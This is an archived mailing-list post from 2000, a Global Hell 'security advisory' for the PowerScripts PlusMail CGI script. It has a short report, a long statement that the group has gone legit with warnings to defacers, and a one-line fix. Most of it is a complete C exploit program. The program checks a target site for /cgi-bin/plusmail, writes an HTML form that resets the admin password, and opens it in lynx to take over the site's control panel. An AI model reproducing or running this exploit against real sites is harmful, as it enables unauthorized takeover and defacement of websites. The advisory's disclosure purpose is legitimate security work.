A few of us were toying with the popular PowerScripts PlusMail cgi script a few days ago. After mistakenly attempting to get this posted through the wrong channels[out of ignorance?], I *hope* I have it right this time. In any case this is a very serious vulnerablility and needs to be addressed. The information is below. Regards, YTCracker p.s. The system() calls will allow you to exploit my exploit ;). execv() > *. /* [gH Security Advisory] software affected: PowerScripts PlusMail versions affected: All versions to current. discussion: Read report below. */ /* [gH-plus.c] title: [gH plusmail vulnerability] date: 01.20.2000 author: ytcracker of gH [phedat_private] comments: plusmail is an extremely popular cgi-based administration tool that allows you to take control of your website with a graphical control panel interface. the password file, however, is set with permissions rw enabled, therefore granting the authority to change the password whenever's clever. the following code will detect the vulnerability and generate the required html to exploit. shouts: seven one nine. all of gH. www.mp3.com/category5. herfat_private for finding vulnerability. [Advisory Information] written by: mosthated of gH [most@pure-security.net] vulnerable: So far, any environment running Plusmail. report: Noticed plusmail running on multiple operating systems. The vulnerability lies in the web based tool, which now that is easily exploited, gives you "ADVANCED CONTROL" of a target website. Below is the code by ytcracker of gH, which demonstrates how easy it is to generate the html code which is executed by your web browser to compromise the target host. We have noticed this PlusMail program is widely used, but have yet to succeed in finding the main site for PlusMail to acknowledge the developers of the remote vulnerability. Most likely this will be ripped out during the online trading, because of script kids not likely this factual addition, but never the less, it will be expressed. This exploit was written to acknowledge security weaknesses, but in no way promotes web page defacments. If you further use this program to gain access to anything not normally accessable by yourself, meaning you script kids, then you are subject to be prosecuted and even get 10 years in prison. Is it honestly worth it to compile this program and randomly ./hack sites and deface them with this half way automatted program to put your nick & group on it? The answer is NO. gh/global hell.. Heard of us?? Seen us on TV?? Read about us?? Most likely.. We've changed and gained knowledge from the experience....Been there done that.. The world didn't believe that a group like this could completely go legit, the IT professionals figured we would retaliate against the fbi and the world was scared by misleading media articles about how we are terrorist and destructive teens. I ask the world now, who is helping who? Did the media find this vulnerability? Did the stereotypist who label us as "cyber gang members" find this vulnerability and allow networks around the world to be patched before so called "destructive hackers" gained access to them. Answer yet again, NO, we did, not you who falsely claim to be helping with security. Your defacements don't help anything, we thought it did before as well, now we realized that it does nothing positive. You stereotypists know nothing about gH, yet can write articles, you're wrong. You people think so much that you know so much about hackers. You know nothing, what you think you know, is wrong. What you don't know about us, the information is right under your nose, yet you still can't put your finger on it. Their are 2 sides to the so called "hacking scene", you people should realize there will always be a good and a bad side to most matters. Don't exploit the fact that you don't know anything about the whole situation, just face the real fact, our knowledge could be a great help to all, why not accept us as normal people, not untrue off the wall assumptions. If you use programs like this to deface sites, think before you use this one, because we have been through the childish fights online and expressed our feelings, we are still where we started, from square one and would not have gone any farther, until we realized that what we were doing was stupid, pathetic, futureless and illegal. Choose your path wisely, either stop the script kiddie bullshit or get your door kicked in, you decide. fix: Move/rename the PlusMail directory as a temporary fix. */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <ctype.h> #include <fcntl.h> #include <strings.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <signal.h> #include <arpa/nameser.h> #include <sys/stat.h> #include <sys/socket.h> int main(int argc, char *argv[]) { int sock; unsigned long vulnip; struct in_addr addr; struct sockaddr_in sin; struct hostent *he; char *detect; char buffer[1024]; char plusvuln[]="GET /cgi-bin/plusmail HTTP/1.0\n\n"; char htmI[]="<html><head><title>[gH plusmail exploit]</title></head><form action=\"http://"; char htmII[]="/cgi-bin/plusmail\" method=\"post\"><p>username: <input type=\"text\" name=\"username\"><br>password: <input type=\"password\" name=\"password\"><br>retype password: <input type=\"password\" name=\"password1\"></p><p><input type=\"submit\" name=\"new_login\" value=\"reset password\"></p></form><p><a href=\"http://pure-security.net\">Pure Security Networks</a></p></body></html>"; FILE *html; printf("\n [gH plusmail exploit] [ytcracker] [phedat_private]\n"); if(argc<2) { printf(" usage: %s [vulnerable website]\n\n",argv[0]); exit(0); } if ((he=gethostbyname(argv[1])) == NULL) { herror("gethostbyname"); exit(0); } vulnip=inet_addr(argv[1]); vulnip=ntohl(vulnip); sock=socket(AF_INET, SOCK_STREAM, 0); bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length); sin.sin_family=AF_INET; sin.sin_port=htons(80); if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0) { perror("connect"); } send(sock, plusvuln,strlen(plusvuln),0); recv(sock, buffer, sizeof(buffer),0); detect = strstr(buffer,"404"); close(sock); if( detect != NULL) { printf(" vulnerabilty not detected.\n"); exit(0); } else printf(" vulnerability detected. generating html...\n"); html=fopen("plus.html","w+b"); fprintf(html,"%s",htmI); fprintf(html,"%s",argv[1]); fprintf(html,"%s",htmII); fclose(html); printf(" spawning lynx...\n"); system("lynx plus.html"); return 0; }
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:27:50 PDT